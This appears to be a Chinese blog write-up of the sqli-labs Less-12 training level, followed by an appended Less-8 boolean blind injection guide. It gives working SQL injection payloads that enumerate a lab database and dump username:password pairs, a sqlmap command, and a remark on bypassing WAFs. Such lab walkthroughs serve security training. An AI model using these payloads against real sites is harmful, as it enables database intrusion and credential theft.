sqli-labs Less-12

本文详细介绍了如何利用Burp Suite进行SQL注入攻击,以Less-12为例,通过判断注入类型、注入点、字段数,到获取数据库名、表名、字段名,最后提取所有字段值的过程。主要涉及双引号加括号的字符串注入技巧。

Less-12 POST -Error Based - Double quotes - String - with twist

Less-11 与 Less-12差别在于一个是单引号一个是双引号加括号,对于Less-12就直接用burp suite来做练习,步骤与Less-11基本一致。

0x01.原页面在这里插入图片描述

在这里插入图片描述
用户名和密码两个参数分别为uname和passwd。Burp中提交参数uname=xxx&passwd=xxx

0x02.判断注入类型

uname=1&passwd=1&submit=Submit
在这里插入图片描述
uname=1’&passwd=1&submit=Submit
在这里插入图片描述
uname=1"&passwd=1&submit=Submit

在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1") LIMIT 0,1' at line 1

根据报错语句可以看出是双引号加一个括号的字符型注入

0x03.判断注入点
万能密码尝试:
uname=1") or 1=1#&passwd=1&submit=Submit
在这里插入图片描述0x04.判断字段数

uname=admin") order by 3#&passwd=1&submit=Submit
在这里插入图片描述
uname=admin") order by 2#&passwd=1&submit=Submit
在这里插入图片描述

查询语句返回的字段数为2,但是并不是表中的字段数为2。

0x05.获取用户和数据库名
uname=1") union select user(),database()–+&passwd=1&submit=Submit在这里插入图片描述
0x06.获取security数据库中的所有表名
uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘security’#&passwd=1&submit=Submit

在这里插入图片描述
0x07.获取users表中所有字段名
uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’#&passwd=1&submit=Submit在这里插入图片描述
0x08.获取所有字段值
uname=1") union select 1,group_concat(username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述

sqli-labs 平台的 Less-8 关卡是一个典型的布尔盲注(Boolean-based Blind SQL Injection)场景。该关卡没有明确的回显信息,攻击者需要通过页面返回的布尔状态(正常或异常)来判断注入语句是否执行成功,从而逐步推断数据库信息。 ### 解题思路 在 Less-8 中,注入点位于 `id` 参数,使用单引号 `'` 作为闭合方式。注入点的基本形式为: ```http http://localhost/sqli-labs/Less-8/?id=1' ``` #### 1. 判断注入点是否存在 尝试构造布尔表达式来验证注入点是否有效。例如: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=1 --+ ``` 如果页面正常显示内容,则说明布尔表达式为真时页面正常;再尝试: ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=2 --+ ``` 如果页面无内容或出现错误,则确认存在布尔盲注漏洞。 #### 2. 猜解数据库名称长度 通过 `LENGTH(database())` 函数判断当前数据库名称的长度: ```http http://localhost/sqli-labs/Less-8/?id=1' AND LENGTH(database()) > 5 --+ ``` 逐步调整数值,确定数据库名称的具体长度。 #### 3. 猜解数据库名称 使用 `SUBSTR()` 和 `ASCII()` 函数逐字符判断数据库名称: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR(database(),1,1)) > 97 --+ ``` 通过二分法逐步缩小字符范围,最终确定数据库名称。 #### 4. 猜解表名 假设已知数据库名为 `security`,可以使用以下语句获取表名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取表名,直到完整识别出目标表(如 `users`)。 #### 5. 猜解列名 获取 `users` 表的列名: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取列名,如 `username`、`password` 等。 #### 6. 获取数据 最后,获取具体字段的数据,例如用户名和密码: ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)) > 64 --+ ``` 重复上述步骤,逐字符提取敏感信息。 ### 自动化工具辅助 在实际渗透测试中,可以使用如 **sqlmap** 等工具自动完成上述过程。例如: ```bash sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令可自动探测数据库信息,并提取表名和字段内容。 ### 注意事项 - 所有操作应在合法授权范围内进行,避免非法入侵。 - 布尔盲注效率较低,建议结合延时注入(Time-based Blind SQL Injection)提升速度。 - 部分 WAF(Web Application Firewall)可能拦截敏感关键字,需对注入语句进行编码或绕过处理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值